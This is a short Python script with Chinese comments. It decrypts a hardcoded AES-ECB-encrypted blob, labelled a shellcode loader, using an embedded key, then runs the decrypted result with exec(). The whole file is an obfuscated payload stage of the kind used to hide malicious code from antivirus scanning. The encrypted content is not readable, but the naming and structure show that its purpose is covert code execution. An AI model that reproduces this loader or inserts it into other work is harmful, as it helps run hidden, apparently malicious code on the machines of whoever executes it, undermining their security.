from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import pad,unpad
import hashlib


# AES 解密
def aes_decode(encrypted_data: bytes, key: str ) -> bytes:
    key_bytes = hashlib.md5(key.encode()).digest()
    cipher = AES.new(key_bytes, AES.MODE_ECB)
    decrypted = unpad(cipher.decrypt(encrypted_data), AES.block_size)
    return decrypted


key = "8v4VXwc4"

aes_loader_aes_shellcode_loader=b'\x1f\x040\x0b\xf4d\xff4\xb7\x82!3\x89\'\x8d\x1f-\xbb\x11\xea\xdc\x88\x98\xfdN\x97B)g/\x1ar\xc7\x91\xaa)\x9b\xd8O}\xcf(P\xbb\x9f/\xac\xe61\xa8{S\x96I\x08%\x87\x88l(\xf9\x99V\xcak"g\x08\x8f(\x9cC\x8fa\xa7\xf0\x7f3r\x82C[\xa1g\xbb\xb5\x87a.\x0f\xc8\x94\xfe"\xb6F1l"\xf4\x0e\x97\xbbX\xd3\xfen\x93\xbc\x17\xcc\x00\xa3\x8f\xbd\x13K\xf0`\x96\xdd\x14\xf1\xc2S\'\xeb\xe6\x1c6\xd24\x90Z\xc2\xc9X5\xa17\xcaP2\xb4\xceI\x0b4\xf6\xfd\xb3\xd0Sj\xce\x88\xcd\x06\xd0\xa8\xdexE\xe9\xf7\x12`\x90\xe6\x9b\x118\xbb\x97\x8d\x1b\x8e\x1c]x\xd9,\x14:6>E\xb3\xf3\xd4\xf5~v\xe0\xf5j+ \xa8\\\xde\xa2b\xbdH\xf4\x05\x81\x1d\x13i\x97=t\xf5\xef\xe2U\xb7\x81N\xea\x1dm\\\xf0bq|\xa8\xa6\xb2\xbb\x8e\xb7_\xc4\xe2&o\xb8\x1c\xfc4(kP:Bp\x00\xc6(\xda\x8b!\x81\n\x01/7\xb0\xe6\x14!f\xe5\xf7\xa0=@1\xc1\xd3pO\xed\x10\x9b\xa2[c\xe4\x86\t\xf9q\x8b\x9c\xb1\x01\xdf(\x89\xa08\x1b\x80\xfc\x91X\xaf\x82\x89yL\x90h\xe1\x98\x8a\xc8\xf5\x0fkF\x84XK_\x0b\xb2\x87\xed\x9e\xaa\xf4\x9d3\x0b?\xb3\xfa\xafgd\xe2XY\xa7O2\xdb\xa7\x99\xe1\xe5\\\xd0\x903\x9c\xef\xfc\x97o\xa8\xf1\xf4\xdf\xcd\xaa\x11\x8f/\xc9Xp\xb3\xd0\xe4\x8b\xa9\xc1\xa3\xac\xf4\x80\x80\xc1E\x99\x84\xc9\xac\xc3\xac\x0e\xf6\xf7\xb1\x08\xc4\xf0\xd7h.\xdd\xc5\xa1\xce\x90m\x11f\x11\x8c!;h\xaa\xdb\x92\xe4`^.\x06\x80*\x17\xe8Z\xeb6\x85\xc7\xfe\x08\x0e\x8bo\x87\xb1\xa9\xe6\rL\xd5\x9c\x12\xac\x8c\xbe\xe2\x1d\xd4\xa9\x15V\xcc\x80J&\'\xe9\x81\x92\x11[r\xc5\x8b\xa5n\xda\xf0Er\xe1\xfa\xde\xf2\xde\xdb\x80\xbe\x0c\xbdT<\xed/]\xd2\x94\x92\x92k\xc9w\xd89\xf7\xb2\x15m\x0elh\xbb-\x1e\xba\xa3\xd77M\xc2C\xec\xfe\x88\x1e\xb8\x95\x1f\xa4\x1c\xc9\xd3\'\x00\xb28\x0b\xb1\x84\x8e\xb3*\xbc\xb2mH\xdbCg\xa7-\x10o\xc2)s\x82\\\xbb\xc0\n\xf4\x0f+\xbc\xea\r\xcc+\x9eM\xb2\xbbH\x0b\x11\x81k|m\xa4\x8b\x94JA\x1b\x11y\x13\x01m/~\xbes^\x81\xb5\x7fr\xfe\xe9\x9d<k\xf2g\x96, cDl\xb5\x18\xa2\x0c\xe0\xf6\xc7#\xaa2V\xb04\xc0\x84\xcd\xd1\xfdWY\x9f\x9b\x9aW|+\xa8\xba\xe5q\x80\x16\xd7\x1f7\n\xb2\xa1\xd6V\x0fT\xf66\xa4n\x1778\xabpUd\xcf\x1d\xf1\xda\x13\xed\xf7*%p\x8a\xfe\xde\x02\xbcH\xf5\x83\xa3a\xd8\xe28B\x8a!\x08U\xc3\x1f\xe3\xb6\x87@\x1d\xd7\xdcX\xc0\x82\xd0|\xd35\xeb\x04\xc1?\xde\xd6E\x84\x06\xad\xcd_\xb8\xe1F\x90h\xda\xf31\x89\x1a\xa7\xfbt\xa0\x86\xb2\xe2n\x08\xb5\xe8\xe9\x0e\x8d\xf9\xc7@qi\xaa\x94\x18QoX\xbe&\xe4h\xee\x8a\x01\xb0.\xb6\xf7\xa7h]\xaa6\xc1\x1e\x0f\x82.\x04ORN\x8b\xd1\x9d\xf3\x83\x80\xafpj\x02\xa1\n\x84\t\x13\x19\xa1\x9a\x8d\xde<\xcd\x99\xa6N\xf2\x0b\xe4`QVel b\x1b\x93\xb3\rV_}<ot\xce)\t\xae4T\xceXN\x1c\xa0\xa0.^|My\xd1,\xa7N2\xeb=pj\xb18C\xf8\xee8\x8a:D\x99\\\xd9\x17\x82\xd3,&\x94\xd9\x05\\@\x9d\xb3\x00u\xc8\xd9\x12-\x9e\xec\xa1\xa8\x9eu\x8b\xf64\xe3\xb65\xf5lFs\xd1\xa1\x10\xa1\x86<\x93*\xec\xe3%\xfc\x06\xd1<>7\xe3\xccz7\x06\xf7T\xac\x99\xb4\x19\xb1\xd4#\xe0Oy\x90F\x10Ht\x8e\xc5F\xa3\xf4\xd3\xca\x99i\xdd\x8c@\xbc\x8b*\xf2\xb0W\x9fx\xf9w|\x06\xbb\xed\x02\xb3\xd5;C\x97QD[\xca=\xfa\\wU\x03\x00\x11#\xf8\x81\x01w@\xf3\xfd2\x11Xs\x19\xe9\x93A\t\t\x1a9\x8cOB\xddG\xa6$R\xadT\xf2\xd9\xe8\xb3\xbe\x88\x8f[\x14\xb2/\xd9\xcd\xbc\x94^y\x9d7\x1f<\x138\x9c<R=\x86\x06f>TV\x14\xd8\x19X\x92z\x81!u\xa5f-g\x8a_\x1d\xc7\x9f\xe1\xd8\xf54\x88b\xdd\xc3\xf9\x82\xa0:V\x1b<\x0c\xb4*\x05o\xdb<\xed\x03~<\xa4x{\xb9\x01I\xf4\xbd\x88\x0b\x83\x91!\xcc\x001\x03\xe8\x91\xfd_\xe3;\xb5\xda\x91\xb7-\xf3\xf2\xf3\xeeHs\x96\xdf\xe7\xf1\xd2`\x1b\xc5\x00\xe3\xa5\x0c/Q2\x0e\xfc\xb4+\xa4!\xc1\xcd\x0e\xa3\\~\xa9\xb5\x83\x1df\xack\x91\xde\xdf\x0e\x89\xbf\x17a\x0b\xb0\xca\xf7=@w\xb6\xecU%\x19\x1f\x1bK\xdc\x92\xd9\xe6`\x1cEu.=\xcc\xe3BWd!\x1dv\x9c\xb9\x84\x8b\xbb\xe9~\xd4\x8d\xb9A\x12\xb5'


# 解密
print("[*] 解密 aes_loader_aes_shellcode_loader...")
aes_shellcode_loader = aes_decode(aes_loader_aes_shellcode_loader, key)


# 执行
print("[*] 执行 aes_shellcode_loader...")



exec(aes_shellcode_loader)